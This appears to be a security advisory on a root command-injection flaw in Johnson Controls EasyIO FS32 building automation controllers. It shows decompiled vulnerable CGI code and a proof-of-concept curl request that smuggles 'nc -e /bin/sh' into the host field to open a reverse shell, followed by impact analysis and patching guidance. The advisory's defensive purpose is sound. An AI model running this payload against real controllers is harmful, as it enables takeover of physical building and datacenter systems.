Johnson Controls EasyIO FS32 Automation Servers Vulnerable to Unauthenticated OS Command Injection (CVE-2026-71452)

A critical operational technology vulnerability cataloged as CVE-2026-71452 (GHSA-prj2-gx9w-wmh9) has been exposed in the EasyIO FS32 high-performance building automation server and programmable logic controller manufactured by Johnson Controls. An unauthenticated operating system command injection flaw (CWE-78) in the controller's embedded web management interface permits remote network adversaries to execute arbitrary shell commands with root privileges, enabling full compromise of BACnet/IP building automation networks, HVAC chiller loops, and physical facility operations.

The Mission-Critical Role of EasyIO FS32 in Enterprise Facilities

The Johnson Controls EasyIO FS32 is an industrial edge controller designed for heavy-duty building management systems (BMS), critical datacenter climate cooling, and airport terminal automation. Featuring dual Ethernet ports, RS-485 serial fieldbus interfaces, and 32 onboard physical I/O channels, the FS32 bridges IP networks to physical actuator valves, air handling units (AHUs), and variable refrigerant flow systems using protocols including BACnet/IP, Modbus TCP, and MQTT.

Root Cause: Unsanitized Diagnostics Shell Formatting

In firmware versions prior to 3.0b63, the controller's lightweight embedded web server (running on TCP port 80/443) exposed diagnostic networking utilities (such as ping, traceroute, and NTP time synchronization verification).

When processing incoming HTTP POST requests to the maintenance endpoint /api/system/network_diag, the underlying CGI handler passed client-provided host parameter values directly into a system() shell call without input validation or parameter sanitization:

// Decompiled CGI network diagnostics handler in EasyIO FS32 firmware
int handle_diag_request(struct http_request *req) {
    char *target_host = http_get_param(req, "host");
    char cmd_buffer[256];
    
    if (!target_host) {
        return send_http_error(req, 400, "Missing host parameter");
    }
    
    // FLAW: Direct string concatenation into root system shell!
    snprintf(cmd_buffer, sizeof(cmd_buffer), "/bin/ping -c 3 %s", target_host);
    
    // Executed with root uid=0 privileges
    system(cmd_buffer);
    return send_http_success(req);
}

Because the endpoint lacked authentication requirements, any adversary capable of routing packets to the controller could inject shell metacharacters (e.g. ;, &&, or |) into the host parameter:

# Proof of concept remote shell injection:
curl -X POST "http://192.168.1.150/api/system/network_diag"   -H "Content-Type: application/x-www-form-urlencoded"   -d "host=127.0.0.1; nc -e /bin/sh 10.0.0.5 4444"

Physical Facility & Operational Technology Blast Radius

Achieving root-level shell access on an EasyIO FS32 gives an attacker direct access to the controller's internal I/O daemon:

• Physical Equipment Manipulation: Attackers can force digital and analog output pins to maximum voltage or shut them down entirely, disabling datacenter server cooling fans or causing temperature spikes that trigger automatic server shutdowns.
• BACnet/IP Gateway Poisoning: As an IP-to-RS485 BACnet router, a compromised FS32 can inject spoofed BACnet APDU frames across the entire building automation subnet, manipulating fire alarm dampers, access control doors, and emergency ventilation systems.
• Enterprise IT Pivot Host: Because BMS controllers frequently bridge building management VLANs with corporate IT management networks, the compromised Linux controller becomes an ideal persistent jump host for lateral movement.

Defensive Remediation Guidelines for Facility & OT Security Teams

1. Upgrade Firmware: Immediately update all EasyIO FS32 controllers to firmware release 3.0b63 or higher. The patch implements strict IP address regex sanitization and replaces system() calls with safe execve() argument arrays.
2. Isolate Building Automation VLANs: Strictly segment BACnet and BMS controller management networks from corporate LANs and the public internet using firewalls adhering to IEC 62443-3-2 Zones and Conduits guidelines.
3. Disable Unused Web Services: For controllers in production fieldbus environments, disable remote web management access on public interfaces and require secure VPN access with multi-factor authentication.